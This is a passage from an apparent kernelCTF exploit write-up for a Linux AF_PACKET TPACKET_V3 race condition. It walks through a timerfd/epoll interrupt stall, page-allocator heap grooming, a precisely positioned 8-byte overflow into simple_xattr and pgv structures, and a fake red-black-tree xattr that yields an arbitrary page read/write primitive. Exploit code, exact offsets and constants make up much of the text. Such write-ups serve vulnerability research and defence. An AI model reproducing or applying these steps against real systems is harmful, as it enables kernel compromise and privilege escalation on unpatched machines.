When the timer fires, the interrupt handler must walk the entire wait queue under spin_lock_irqsave — meaning interrupts are disabled and the CPU cannot be preempted until every entry is processed. This turns the wait queue length into a controllable CPU stall duration.

The file descriptor table constraint. In the kernelCTF environment, each process is limited to 4,096 file descriptors (RLIMIT_NOFILE). The exploit first raises rlim_cur to rlim_max (4,096) via setrlimit(). Even so, 4,096 wait queue entries isn’t enough to stall the CPU for the required duration. The exploit works around this by creating 180 threads, each with its own private file descriptor table:

Setup phase — During initialization, the exploit creates 180 timerfd_waitlist_thread threads. Each thread:

1. Is pinned to CPU 1 (same CPU as tpacket_rcv_thread)

2. Calls unshare(CLONE_FILES) to get its own private file descriptor table — this is the key trick that multiplies the FD limit, since each thread now has its own independent table of 4,096 slots

3. Closes stdin, stdout, and stderr to free up three more slots

4. Creates an epollfd (uses one slot)

5. Calls dup(timerfd) in a loop until the FD table is full — the original timerfd (created by the main thread before unshare) is still accessible, and each dup() creates a new file descriptor pointing to the same underlying timerfd_ctx

6. Calls epoll_ctl(EPOLL_CTL_ADD) for each duplicated FD, adding a wait queue entry to the timerfd’s wqh for every one

Each epoll_ctl() call adds a wait_queue_entry to the timerfd’s internal wait queue via ep_ptable_queue_proc() → add_wait_queue(). With 180 threads × ~4,000 FDs each, the timerfd’s wait queue accumulates roughly 720,000 entries.

Firing phase — The exploit arms the timer from CPU 1 (important — timerfd_settime() binds the hrtimer to the calling CPU):

struct itimerspec settime_value = {};
settime_value.it_value = timespec_add(pg_vec_lock_release_time,
                                       timer_interrupt_amplitude);  // +150μs
timerfd_settime(timerfd, TFD_TIMER_ABSTIME, &settime_value, NULL);

When the timer fires on CPU 1, the kernel interrupt handler executes:

timerfd_tmrproc()
  → timerfd_triggered()
    → spin_lock_irqsave(&ctx->wqh.lock, flags)   // interrupts disabled!
    → wake_up_locked_poll()
      → __wake_up_common()                         // walks the waitqueue
        → list_for_each_entry_safe_from(...)       // 720,000 entries!
          → ep_poll_callback()                     // called for each entry
    → spin_unlock_irqrestore(...)

The __wake_up_common() function iterates through all 720,000 wait queue entries, calling ep_poll_callback() for each one. This entire loop runs inside spin_lock_irqsave — meaning interrupts are disabled and preemption is impossible. If tpacket_rcv() was executing on CPU 1 when the interrupt fired, it is completely frozen until the interrupt handler finishes walking the entire list. This takes hundreds of microseconds to milliseconds — more than enough time for packet_set_ring() on CPU 0 to free the ring buffer and for pg_vec_buffer_thread to reclaim it with a new ring buffer.

The exploit retries this entire sequence if the race is lost (detected by checking whether the overflow actually corrupted the target object). In practice, the combination of precise sleep timing, BPF filter delay, and the massive timer interrupt provides a high success rate.

Stage 1: Page Overflow Primitive (via xattr corruption)

After winning both races, the exploit needs to turn the UAF into something useful. This stage has three parts: reclaiming the freed ring buffer to prevent a kernel panic, arranging the heap so the reclaimed buffer is adjacent to a victim object, and engineering a precise overflow that corrupts exactly the right field.

Part 1: Reclaiming the freed pgv array

The key challenge is that free_pg_vec() zeroes out all buffer pointers in the pgv array after freeing it:

static void free_pg_vec(struct pgv *pg_vec, unsigned int order, unsigned int len)
{
    for (i = 0; i < len; i++) {
        if (pg_vec[i].buffer) {
            free_pages((unsigned long)pg_vec[i].buffer, order);
            pg_vec[i].buffer = NULL;  // zeroed!
        }
    }
    kfree(pg_vec);
}

If tpacket_rcv() reads a zeroed buffer pointer, it dereferences NULL and the kernel panics. The exploit must reclaim the freed pgv array — replace it in memory with a new pgv array containing valid buffer pointers — before tpacket_rcv() gets past the BPF filter, the timer interrupt and accesses it.

This is handled by pg_vec_buffer_thread, which runs on CPU 0 alongside packet_set_ring(). Immediately after packet_set_ring() frees the victim’s ring buffer, the same thread allocates a new TX ring buffer on a different packet socket:

// In pg_vec_buffer_thread_fn:
// Step 1: Free victim RX ring
setsockopt(victim_fd, SOL_PACKET, PACKET_RX_RING, &free_req, sizeof(free_req));
// Step 2: Immediately reclaim with a new TX ring
alloc_pages(reclaim_socket, MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_KMALLOC_16, PAGES_ORDER2_SIZE);

The alloc_pages() function used throughout the exploit is a helper that allocates kernel pages by creating a TX ring buffer on a packet socket. It calls setsockopt(PACKET_TX_RING) with the specified block count and block size, which triggers packet_set_ring() → alloc_pg_vec() in the kernel — allocating both a pgv array and the requested number of page blocks. The corresponding free_pages() helper calls setsockopt(PACKET_TX_RING) with all-zero parameters, triggering the free path. This gives the exploit precise control over kernel page allocations and frees through a simple userspace API: each packet socket can hold one TX ring, and creating or destroying that ring allocates or frees pages of the exact size the exploit needs.

The reclamation ring has the same number of blocks as the victim (2 blocks — MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_KMALLOC_16 = 2) so the pgv array is the same size: kcalloc(2, sizeof(struct pgv)) = kcalloc(2, 8) = 16 bytes. The size match is essential because of the two heap mitigations.

CONFIG_RANDOM_KMALLOC_CACHES selects the slab cache by hashing the call site address — both pgv arrays are allocated by the same kcalloc() inside alloc_pg_vec(), so they hash to the same random cache. But this only works if they’re also in the same size class: if the reclamation used 4 blocks (32 bytes → kmalloc-32) instead of 2 blocks (16 bytes → kmalloc-16), it would go to a different slab cache entirely. CONFIG_SLAB_VIRTUAL enforces that each slab cache gets a dedicated virtual address range — a freed kmalloc-16 slot can only be reused by another kmalloc-16 allocation. Same call site + same size = guaranteed same slab cache = the new pgv array lands on the exact memory the old one occupied.

The following diagram shows the pgv array through its three states — before free, after free (zeroed, dangerous), and after reclamation (new blocks, smaller size). The stale pkc->pkbdq pointer references the same memory address throughout:

Before reclamation, the stale pointer would find NULLs and the kernel would crash. After reclamation it finds valid pointers — but to smaller 16 KB blocks instead of the original 32 KB blocks. This size mismatch is what enables the overflow: the stale kblk_size = 32768 makes tpacket_rcv() believe each block is 32 KB, but the actual blocks are only 16 KB, so writes beyond 16 KB spill into adjacent memory.

Part 2: Heap grooming for page layout

The exploit needs to achieve two things through heap grooming:

1. Force tpacket_rcv() to advance past block 0 to block 1. Block 0’s stale nxt_offset points into the old freed 32KB page — writing there would be uncontrolled. Block 1 gets a fresh nxt_offset via prb_open_block() that points into an actual reclaimed page.

2. Ensure block 1 of the reclamation ring is physically adjacent to a simple_xattr. The overflow from block 1 must spill into a victim object, not into random memory.

To force the block 1 path, the exploit needs curr > end in __packet_lookup_frame_in_block(). This means the stale nxt_offset (from old block 0) must be at a higher address than new_block_0 + 32768. To ensure adjacency, the reclamation ring’s blocks must land in a region densely packed with simple_xattr objects. The exploit achieves both through a carefully staged allocation sequence:

Phase 1: Drain the page allocator
──────────────────────────────────
Step 1: Allocate 1024 × 16KB pages (drains order-2 freelist)
Step 2: Allocate 1024 × 32KB pages (drains order-3 freelist)      ← "drain batch 1"
Step 3: Allocate 512 × 32KB pages (more order-3 drain)            ← "drain batch 2"

After draining, the order-2 and order-3 freelists are empty.
Any new allocation at these sizes must come from splitting higher-order pages.

Phase 2: Allocate the victim ring buffer
────────────────────────────────────────
Step 4: Configure victim socket → RX ring allocates 2 × 32KB blocks (order-3)

Since the order-3 freelist is empty, these blocks come from splitting
order-4 or higher pages → they land at HIGH virtual addresses.

Phase 3: Build the simple_xattr spray region
─────────────────────────────────────────────
Step 5: Free drain batch 1 (1024 × 32KB order-3 pages)

These pages return to the order-3 freelist at LOWER addresses
than the victim's blocks (they were allocated earlier, before draining
pushed the allocator to higher-order pages).

Step 6: Spray 2048 simple_xattr objects (each with 8KB value → order-2 page)

The order-2 freelist is still empty (drained in step 1, never freed).
So the buddy allocator splits the just-freed order-3 pages from step 5:
each 32KB page becomes two 16KB halves. The simple_xattr values fill
these halves, creating a dense region of order-2 pages at LOW addresses.

Step 7: Free sparse holes — every 128th xattr starting from index 512

    for (i = 512; i < 2048; i += 128)
        removexattr(simple_xattr_requests[i]);

This frees ~12 order-2 pages scattered among the simple_xattr objects,
returning them to the order-2 freelist. These holes are the landing
slots for the reclamation ring's blocks.

Phase 4: Trigger the race and reclaim
──────────────────────────────────────
Step 8: Win the race → packet_set_ring() frees the old ring buffer

The victim's 2 × 32KB blocks are freed back to the order-3 freelist.
They are at HIGH addresses. The pgv array (16 bytes) is freed to slab.

Step 9: pg_vec_buffer_thread immediately reclaims:
    alloc_pages(reclaim_socket, MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_KMALLOC_16, PAGES_ORDER2_SIZE)

This allocates a new ring with 2 × 16KB blocks. The allocator needs
order-2 pages. The order-2 freelist has the sparse holes from step 7
(exact-size matches), so it serves from those FIRST — before considering
splitting the victim's freed order-3 pages. The reclamation blocks
land in the holes among the simple_xattr objects, at LOW addresses,
surrounded by simple_xattr objects on both sides.

The result is this memory layout:

Why block 0 can’t work, even if it were reclaimed. One might ask: couldn’t the victim’s freed order-3 blocks be buddy-split into order-2 halves, with one half adjacent to a simple_xattr? The answer is no — those blocks are at high addresses, far from the simple_xattr spray region. Even if the buddy allocator did split them, the two halves would be adjacent to each other (they’re buddy pairs), not to any simple_xattr. The exploit has no control over what’s physically next to the victim’s old pages.

By contrast, the reclamation blocks land in the carefully prepared holes among the simple_xattr spray, where adjacency is guaranteed. But the stale nxt_offset for block 0 still points to the victim’s old high-address region, not into these holes. So the exploit must force advancement to block 1.

The stale metadata. The TPACKET_V3 metadata (prb_bdqc) in the victim socket is not updated during the free — it still contains stale values from the original 32 KB ring:

pkc->pkbdq         → old pgv array address (now reclaimed with new pgv)
pkc->kblk_size     → 32768 (32 KB — the OLD block size)
pkc->knum_blocks   → 2
pkc->blk_sizeof_priv → 16248
pkc->kactive_blk_num → 0
pkc->nxt_offset    → old_block_0 + 16296 (HIGH address — stale)

When tpacket_rcv() accesses the ring buffer through __packet_lookup_frame_in_block():

pkc = &po->rx_ring.prb_bdqc;
pbd = pkc->pkbdq[pkc->kactive_blk_num].buffer;  // reads reclaimed pgv[0].buffer
                                                   // = new 16KB block (LOW address, in xattr region)
curr = pkc->nxt_offset;    // old_block_0 + 16296 (HIGH address — stale)
end = (char *)pbd + pkc->kblk_size;   // new_block_0 + 32768 (still LOW)

if (curr + ALIGN(len, 8) < end) {
    // packet fits in current block — write here
} else {
    prb_retire_current_block(pkc, po, 0);         // retire new_block_0
    curr = prb_dispatch_next_block(pkc, po);      // advance to new_block_1
    // ... write to new_block_1
}

Since curr (high address) > end (low address + 32KB), the “doesn’t fit” branch is always taken, and tpacket_rcv() advances to block 1 — which is in the groomed region, adjacent to a simple_xattr.

Part 3: The precision overflow

When tpacket_rcv() takes the “doesn’t fit” path, it calls prb_retire_current_block() then prb_dispatch_next_block(), which advances to block 1 and calls prb_open_block():

static void prb_open_block(struct tpacket_kbdq_core *pkc,
    struct tpacket_block_desc *pbd)
{
    pkc->pkblk_start = (char *)pbd;   // start of reclaimed block 1 (16 KB)
    pkc->nxt_offset = pkc->pkblk_start + BLK_PLUS_PRIV(pkc->blk_sizeof_priv);
    pkc->pkblk_end = pkc->pkblk_start + pkc->kblk_size;  // + 32KB (stale!)
}

The key computation: BLK_PLUS_PRIV(blk_sizeof_priv) = BLK_HDR_LEN + ALIGN(blk_sizeof_priv, 8) where BLK_HDR_LEN = ALIGN(sizeof(struct tpacket_block_desc), 8) = 48. With blk_sizeof_priv = 16248:

nxt_offset = reclaimed_block_1 + 48 + 16248 = reclaimed_block_1 + 16296

The actual block size is 16,384 bytes (16 KB = 4 pages). So nxt_offset is positioned 88 bytes before the end of the actual block. But pkblk_end is computed using the stale kblk_size = 32768, placing it 16 KB past the real end — so tpacket_rcv() believes there’s plenty of room.

Back in tpacket_rcv(), the function returns h.raw = nxt_offset and proceeds to write at several offsets from h.raw:

Non-controlled writes (kernel-generated headers):

• At h.raw + 0: the tpacket3_hdr structure (44 bytes of status, timestamps, lengths)

• At h.raw + 48: the sockaddr_ll structure (~20 bytes of link-layer address info)

These occupy offsets 0 through ~67 from h.raw, fitting within the 88 remaining bytes. They stay inside the block.

Controlled write (attacker’s packet data):

skb_copy_bits(skb, 0, h.raw + macoff, snaplen);

Where macoff is calculated as:

macoff = netoff - maclen;
netoff = TPACKET_ALIGN(po->tp_hdrlen + max(maclen, 16)) + po->tp_reserve;

The exploit controls two knobs in this calculation to land the write at an exact byte offset:

• tp_sizeof_priv (set via setsockopt(PACKET_RX_RING)) — controls where nxt_offset starts within the block. This is the coarse knob: the kernel rounds it up to 8 bytes (ALIGN(blk_sizeof_priv, 8)), so it can only position nxt_offset at 8-byte increments.

• tp_reserve (set via setsockopt(PACKET_RESERVE)) — adds padding between the TPACKET header and the packet data. This is the fine knob: it’s added without any rounding, giving byte-level precision.

Together they work like a vernier caliper. The exploit uses tp_sizeof_priv = 16248 and tp_reserve = 38, but any pair where ALIGN(tp_sizeof_priv, 8) + tp_reserve = 16286 works (e.g., 16280 + 6).

The write position within a block is nxt_offset + macoff:

• nxt_offset = 48 + ALIGN(tp_sizeof_priv, 8) = 48 + 16248 = 16296

• macoff = netoff - maclen, where netoff = TPACKET_ALIGN(tp_hdrlen + 16) + tp_reserve = TPACKET_ALIGN(68 + 16) + 38 = 96 + 38 = 134, and maclen = 14 (ETH_HLEN), so macoff = 120

• write position = 16296 + 120 = 16416 = 16384 + 32

The block is only 16,384 bytes, so the write lands 32 bytes past the block boundary into the adjacent page. The BPF filter truncates snaplen to sizeof(size_t) = 8 bytes, so the exploit writes exactly 8 bytes at that offset.

The following diagram shows the full structure from the packet socket down to the per-block memory layout, including both positioning knobs (blk_sizeof_priv and tp_reserve):

What lives at the overflow offset?

The exploit sprays 2,048 simple_xattr kernel objects adjacent to the reclamation blocks. Each xattr is allocated with value_size = 8192, making the total allocation (header + 8,192 bytes) served from order-2 pages (16 KB).

The overflow lands exactly on the size field of the adjacent simple_xattr. This is not a coincidence — tp_sizeof_priv (16,248) positions nxt_offset at 16,296, and tp_reserve (38) is chosen so that nxt_offset + macoff = 16,416 = 16,384 + 32, landing precisely at the size field’s offset within the simple_xattr struct.

The packet data is crafted with XATTR_SIZE_MAX (65,536) as the first 8 bytes:

u8 packet_data[128] = {};
*(size_t *)(packet_data) = XATTR_SIZE_MAX;  // 65536

After the overflow, one of the 2,048 simple_xattr objects has its size field changed from 8,192 to 65,536.

Creating the holes for adjacency

The simple_xattr spray is arranged to maximize the probability that one ends up immediately after reclamation block 1:

Step 5: Free drain_pages_order3_1 — returns 1024 × 32KB pages to the freelist

Step 6: Spray 2,048 simple_xattr objects — each needs 16KB (order-2) pages

Since the order-2 freelist was drained in step 1, the buddy allocator splits the freed order-3 pages: each 32 KB page becomes two 16 KB halves. The spray consumes these halves, filling the address range previously occupied by drain_pages_order3_1.

Before triggering the race, the exploit frees some xattrs at regular intervals to create holes:

for (int i = 512; i < 2048; i += 128) {
    removexattr(filepath, name_i);  // creates a 16KB hole every 128 objects
}

The reclamation ring’s block 1 (16 KB) lands in one of these holes. Since the holes are periodic and the surrounding slots are occupied by simple_xattr objects, the page immediately after block 1 is very likely to contain a simple_xattr.

Detecting the corruption

The exploit scans all sprayed xattrs to find the corrupted one:

for (int i = 0; i < 2048; i++) {
    ssize_t ret = getxattr(filepath, name_i, value, 8192);
    if (ret < 0 && errno == ERANGE) {
        // Found it! size was changed from 8192 to 65536
        overflowed_xattr = i;
    }
}

Normally, getxattr() with a buffer of 8,192 bytes succeeds because xattr->size == 8192. But for the corrupted xattr, xattr->size == 65536 > 8192, so the kernel returns ERANGE (”buffer too small”). This is the signal.

Building the heap read primitive

Now the exploit has a heap read primitive: calling getxattr() with a 65,536-byte buffer on the corrupted xattr reads 65,536 bytes starting from the xattr’s value field. Since the xattr’s actual data is only 8,192 bytes but the kernel thinks size is 65,536, it copies 65,536 bytes — leaking ~57 KB of adjacent kernel heap memory.

The exploit uses this to find another simple_xattr in the leaked data, identifying it by pattern-matching the rb_node pointers (must be valid kernel addresses or NULL), the name pointer (must be a kernel address), the size field (must equal 8,192), and the value content (must match the known spray pattern like “pages_order2_groom_42”). This second xattr is called leaked_content_simple_xattr.

Next, the exploit removes all other xattrs — it loops through all 2,048 sprayed entries and calls removexattr() on every one except the corrupted xattr and the leaked one. This reduces the inode’s red-black tree from ~2,048 nodes to exactly two. In a two-node tree, one node is the root and the other is its child — so the leaked xattr’s rb_node pointers (parent, left, right) must reference the corrupted xattr, since there is no other node they could point to. With 2,048 nodes, the leaked xattr’s tree neighbors could be any of the other sprayed xattrs, and finding the corrupted one among them would be unreliable. The cleanup step eliminates this ambiguity.

Now the exploit calls getxattr() a second time on the corrupted xattr with a 65,536-byte buffer. This works the same way as the first read: the kernel copies 65,536 bytes starting from the corrupted xattr’s value[] field, spilling past its actual 8,192 bytes of data into adjacent heap memory. The leaked xattr lives on a nearby order-2 page (the first read already identified which page offset it sits at), so its rb_node pointers appear at a known position within the 65KB dump.

The key difference from the first read: the tree has been pruned to two nodes. The kernel reorganized the red-black tree as it removed the other ~2,046 xattrs, updating the remaining nodes’ pointers along the way. In the resulting two-node tree, the leaked xattr’s rb_node.__rb_parent_color points to its parent (the corrupted xattr, if the corrupted xattr is the root) or its rb_left/rb_right points to the corrupted xattr (if the leaked xattr is the root). Either way, one of the three rb_node pointers contains the corrupted xattr’s kernel address:

u64 parent = (u64)(__rb_parent(leaked_simple_xattr->rb_node.__rb_parent_color));
u64 left   = (u64)(leaked_simple_xattr->rb_node.rb_left);
u64 right  = (u64)(leaked_simple_xattr->rb_node.rb_right);
overflowed_simple_xattr_kernel_address = parent ? parent : (left ? left : right);

From the corrupted xattr’s address and the known offset between the two xattrs in the leak data (each xattr occupies one order-2 page, so the offset is page_index × 16384), the exploit calculates the kernel address of leaked_content_simple_xattr itself. These two addresses are the foundation for Stage 2.

Stage 2: Heap Read/Write via pgv Overlap

Stage 1 gave us two things: a heap read primitive (through the corrupted xattr with size = 65536) and the kernel addresses of two simple_xattr objects. But the heap read only works through getxattr() — a one-directional, read-only channel. To build a full read/write primitive, the exploit triggers the race a second time, this time overflowing into a pgv array to gain direct memory-mapped access to a simple_xattr in kernel memory.

The target: pgv arrays instead of xattrs

The key idea: if the overflow writes a kernel address into a pgv[N].buffer entry of some ring buffer, then mmap()’ing that ring buffer maps pgv[N].buffer into userspace. If pgv[N].buffer points to a simple_xattr object, the attacker gets a direct userspace pointer to live kernel data — readable and writable without any syscall.

The exploit creates 256 packet sockets and gives each one a TX ring buffer whose pgv array is large enough to be allocated from order-2 pages (16 KB). The size is chosen by setting the block count to MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER2:

#define MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER2  ((KMALLOC_8K_SIZE / sizeof(struct pgv)) + 1)

// = (8192 / 8) + 1 = 1025

Each ring buffer block is tracked by one struct pgv (a single 8-byte pointer), so 1,025 blocks means a pgv array of 1025 × 8 = 8,200 bytes. This goes through kcalloc(1025, sizeof(struct pgv)) inside alloc_pg_vec(). The number 1,025 is deliberately one more than 1,024: with exactly 1,024 blocks, the array would be 8,192 bytes, which fits inside the kmalloc-8k slab bucket — and slab allocations don’t participate in page-level grooming. By requesting 1,025 blocks (8,200 bytes), the allocation exceeds the kmalloc-8k limit and falls through to the page allocator, which serves it from order-2 pages (16 KB). This is essential because the pgv arrays must land on order-2 pages to match the size of the holes created during heap grooming. Order-3 pages would also work but would waste twice as much memory.

Heap grooming

The grooming follows the same pattern as Stage 1, with reduced allocation counts (since memory is limited):

Step 1: Drain order-2 freelist — 256 × 16 KB pages
Step 2: Drain order-3 freelist — 128 × 32 KB pages (drain_pages_order3_1)
Step 3: More order-3 drain — 128 × 32 KB pages (drain_pages_order3_2)
Step 4: Configure victim socket — RX ring allocates 2 × 32 KB blocks (high addresses)
Step 5: Free drain_pages_order3_1 — returns 128 × 32 KB pages
Step 6: Spray 256 pgv arrays — each 8,200 bytes, served from order-2 pages
         (buddy allocator splits the freed order-3 pages into order-2 halves)
Step 7: Free some pgv arrays to create holes for reclamation

The hole creation is sparse — 6 holes every 16 entries starting at index 64:

for (int i = 64, free_count = 0;
     i < 256 && free_count < 6;
     i += 16, free_count++) {
    free_pages(spray_pg_vec_packet_sockets[i]);
}

The reclamation buffer (from the second race trigger) will land in one of these holes, with sprayed pgv arrays on both sides.

Triggering the second race

The exploit runs the same two-race sequence as Stage 1 — identical victim socket configuration, same mutex-barrier technique for race 1, same BPF filter + timer interrupt for race 2 — but with one difference: the packet data now contains leaked_content_simple_xattr_kernel_address (obtained from Stage 1) instead of XATTR_SIZE_MAX:

u8 packet_data[128] = {};
*(u64 *)(packet_data) = simple_xattr_kernel_address;

The overflow arithmetic is identical: the 8-byte write lands at offset 24 past the reclamation block boundary, which is the 4th entry (index 3) of the adjacent pgv array — because 24 / sizeof(struct pgv) = 24 / 8 = 3.

So after the overflow:

adjacent_pgv[3].buffer = leaked_content_simple_xattr_kernel_address.

Detecting the overflow

The exploit iterates through all 256 sprayed ring buffers, mmap()s each one, and checks whether the data at block 3 (offset 3 × PAGE_SIZE) looks like a simple_xattr:

for (int i = 0; i < 256 && !overflow_success; i++) {
    void *mem = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED,
                     spray_pg_vec_packet_sockets[i], 0);

    struct simple_xattr *simple_xattr = mem + 3 * PAGE_SIZE;
    if (is_data_look_like_simple_xattr(simple_xattr, KMALLOC_8K_SIZE)) {
        overflowed_pg_vec_packet_socket = spray_pg_vec_packet_sockets[i];
        overflow_success = true;
    }
    munmap(mem, mmap_size);
}

The recognition heuristic checks that the rb_node pointers are valid kernel addresses (using __rb_parent() to mask the color bit), that name is a valid kernel address, and that size == 8192.

When a match is found, the exploit saves this socket as overflowed_pg_vec_packet_socket and closes all the other sprayed sockets to reclaim memory.

The resulting primitive

From this point, the exploit can access the leaked_content_simple_xattr kernel object at will:

void *mem = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED,
                 overflowed_pg_vec_packet_socket, 0);
struct simple_xattr *manipulated_simple_xattr = mem + 3 * PAGE_SIZE;
// Now manipulated_simple_xattr points directly to live kernel memory

This gives the exploit three capabilities through the “manipulated simple_xattr”:

1. Leak kernel addresses. The rb_node pointers in the simple_xattr point to other xattr objects in the same inode’s red-black tree. When the exploit creates a new xattr via setxattr(), the kernel inserts it into the tree and updates the existing nodes’ child pointers. The exploit reads rb_node.rb_right or rb_node.rb_left to discover the new xattr’s kernel address. This is used repeatedly in Stage 3 to locate freshly allocated pages.

2. Redirect the name pointer (page reclamation oracle). The exploit can overwrite manipulated_simple_xattr->name to point to any kernel address. This turns getxattr() into a boolean oracle for validating page reclamation. In Stage 3, the exploit repeatedly frees pages and tries to reclaim them with ring buffer blocks — but it needs to confirm each reclamation succeeded (some other kernel subsystem might have grabbed the page first). The technique works as follows: (1) reclaim the freed page via a ring buffer block and mmap it, (2) write a known string like “security.fake_simple_xattr_name” into the page, (3) overwrite manipulated_simple_xattr->name to point at that page’s kernel address, (4) call getxattr(filepath, “security.fake_simple_xattr_name”, ...). The kernel traverses the xattr tree, finds the manipulated xattr, dereferences its name pointer, and does strcmp() against the requested name. If the reclamation worked, the page contains the string the exploit wrote, strcmp() matches, and getxattr() succeeds — confirming the page is under the exploit’s control. If something else grabbed the page, strcmp() fails and the exploit knows to retry. The original name pointer is restored immediately after each check.

3. Link fake objects into the xattr collection. The exploit modifies rb_node.rb_right or rb_node.rb_left to graft a fake simple_xattr node into the red-black tree (setting the fake node’s __rb_parent_color to point back to the manipulated xattr as its parent). When removexattr() is later called on the fake xattr, the kernel frees the page at the fake object’s address — giving the exploit a targeted page free primitive. This is the key mechanism for Stage 3’s double-overlapping ring buffer construction.

Stage 3: Arbitrary Page Read/Write via pgv Overlap

Stage 2’s primitive lets the exploit read and write the fields of a single simple_xattr in kernel memory. That’s powerful, but limited — the exploit can only access one object at a fixed address. To read or write any kernel page, the exploit constructs a more general primitive: two ring buffers arranged so that one can overwrite the other’s pgv array entries, redirecting them to any page-aligned kernel address.

The construction has three parts: leaking two page addresses, building and linking a fake xattr that spans both pages, then freeing the fake xattr to create the overlap.

Part 1: Cleaning up

First, the exploit destroys the overflowed_simple_xattr from Stage 1 (the one whose size was corrupted to 65,536). It’s no longer needed — the heap read primitive it provided has been superseded by Stage 2’s direct memory access. After removal, the inode’s xattr collection contains only the leaked_content_simple_xattr, which is the object the exploit controls through the mmap’d ring buffer (the “manipulated simple_xattr”).

The exploit saves the original values of the manipulated xattr’s rb_node pointers and name so it can restore them later — the kernel’s xattr traversal code will crash if these pointers are left dangling.

Part 2: Leaking page addresses via allocate-read-free

The exploit needs two order-2 page addresses. It obtains each one through the same three-step pattern:

Step 1: Allocate a temporary xattr. Call setxattr() on the tmpfs file to create a new simple_xattr with value_size = 8192 (order-2 pages). The kernel links it into the xattr collection, updating the manipulated xattr’s node pointers.

Step 2: Read the address. Since the exploit has the manipulated simple_xattr mmap’d, it can immediately read the updated rb_node pointer to get the new xattr’s kernel address. The red-black tree may insert the new node as either a right or left child depending on the key comparison, so the exploit checks both:

setxattr(filepath, "security.leak_for_name", value, KMALLOC_8K_SIZE, XATTR_CREATE);
if (manipulated_simple_xattr->rb_node.rb_right)
    fake_simple_xattr_name_addr = (u64)manipulated_simple_xattr->rb_node.rb_right;
else
    fake_simple_xattr_name_addr = (u64)manipulated_simple_xattr->rb_node.rb_left;

Step 3: Free it. Call removexattr() to free the temporary xattr. Its page goes back to the order-2 freelist.

The exploit repeats this pattern twice, obtaining two addresses:

• fake_simple_xattr_name_addr — will hold the fake xattr’s name string

• fake_simple_xattr_addr — will hold the fake xattr structure itself

Part 3: Reclaiming the freed pages with ring buffer blocks

After each address is leaked and the temporary xattr freed, the exploit immediately reclaims the freed page with a ring buffer block:

// Reclaim the freed page with a 1-block, order-2 ring buffer
alloc_pages(fake_simple_xattr_name_packet_socket, 1, PAGES_ORDER2_SIZE);

Now the exploit can mmap() this ring buffer to read/write the page at fake_simple_xattr_name_addr. It writes the fake name string into it:

void *mem = mmap(NULL, PAGES_ORDER2_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED,
                 fake_simple_xattr_name_packet_socket, 0);
strcpy(mem, "security.fake_simple_xattr_name");
munmap(mem, PAGES_ORDER2_SIZE);

But how does the exploit know the reclamation succeeded? The freed page might have been reused by something else entirely. The exploit writes to the reclaimed page through the newly allocated ring buffer (via mmap), but reads through the leaked address (via getxattr). If the read returns what was written, the ring buffer must have landed on the same page the leaked address points to:

// Now read through the leaked address: redirect the manipulated xattr's
// name pointer to fake_simple_xattr_name_addr (obtained from Part 2)
manipulated_simple_xattr->name = (char *)fake_simple_xattr_name_addr;

// Ask the kernel to look up this xattr by name — the kernel will follow
// the redirected name pointer and strcmp() it against the lookup key
ssize_t ret = getxattr(filepath, "security.fake_simple_xattr_name",
                       value, manipulated_simple_xattr->size);

// Restore original name pointer
manipulated_simple_xattr->name = (char *)original_name_pointer;

if (ret == manipulated_simple_xattr->size) {
    // Success! The kernel read from the leaked address and found the string
    // we wrote via the ring buffer. The two refer to the same physical page.

If getxattr() succeeds, the ring buffer block and the leaked address map to the same page — the exploit now controls that page’s contents. If it fails, the exploit frees the ring buffer and retries.

The same process is repeated for fake_simple_xattr_addr, using a second packet socket (fake_simple_xattr_packet_socket).

Part 4: Building and linking the fake xattr

With both pages reclaimed and validated, the exploit writes a fake simple_xattr structure into the page at fake_simple_xattr_addr:

struct simple_xattr *fake_simple_xattr = mem;
fake_simple_xattr->rb_node.__rb_parent_color = leaked_content_simple_xattr_kernel_address;
fake_simple_xattr->name = (void *)fake_simple_xattr_name_addr;
fake_simple_xattr->size = KMALLOC_8K_SIZE;

The fake xattr’s __rb_parent_color is set to the kernel address of the manipulated xattr (the leaked_content_simple_xattr from Stage 1). This is because the red-black tree removal algorithm needs to find the parent node. The rb_right and rb_left fields are left as NULL (zeroed by memset), indicating this is a leaf node — simplifying the tree removal path. The name pointer points to fake_simple_xattr_name_addr (where the string “security.fake_simple_xattr_name” lives) and size is set to 8,192 bytes.

Now the exploit links this fake xattr into the inode’s red-black tree by modifying the manipulated xattr:

if (is_right_node)
    manipulated_simple_xattr->rb_node.rb_right = (void *)fake_simple_xattr_addr;
else
    manipulated_simple_xattr->rb_node.rb_left = (void *)fake_simple_xattr_addr;

The is_right_node variable tracks which child pointer was used when the temporary xattr was originally inserted (from Part 2’s second leak). The exploit reuses the same child slot, ensuring the tree structure remains consistent.

The kernel now considers this a real xattr in the collection.

Part 5: Creating the pgv overlap

Here is where the exploit reaches its goal. The exploit calls:

removexattr(filepath, “security.fake_simple_xattr_name”);

The kernel finds the fake xattr, unlinks it from the red-black tree, and frees both allocations separately:

// Kernel’s simple_xattr removal path:
kfree(xattr->name);   // frees Page A (fake_simple_xattr_name_addr)
kvfree(xattr);         // frees Page B (fake_simple_xattr_addr)

Both pages return to the order-2 freelist. But the two ring buffers that previously reclaimed these pages still have their pgv[0].buffer pointing at them — the pointers were never updated:

fake_simple_xattr_name_packet_socket → pgv[0].buffer = Page A (now freed)
fake_simple_xattr_packet_socket      → pgv[0].buffer = Page B (now freed)
Order-2 freelist: [Page A, Page B]

These are dangling pointers — an intentional use-after-free. Immediately after the free, the exploit allocates a third ring buffer:

alloc_pages(overwritten_pg_vec_packet_socket,
            MIN_PAGE_COUNT_TO_ALLOCATE_PGV_ON_PAGES_ORDER2,  // 1025 blocks
            PAGE_SIZE);

This ring buffer has 1,025 blocks, so its pgv array is 1025 × 8 = 8,200 bytes — allocated via kcalloc() in alloc_pg_vec(), rounded up to kmalloc-8k, and served from order-2 pages (the same page order as the just-freed fake xattr pages). With two order-2 pages just freed, the page allocator grabs one of them for the pgv array — say Page A:

fake_simple_xattr_name_packet_socket → pgv[0].buffer = Page A ← STILL POINTS HERE
fake_simple_xattr_packet_socket      → pgv[0].buffer = Page B (still freed)
overwritten_pg_vec_packet_socket     → pgv array lives on Page A

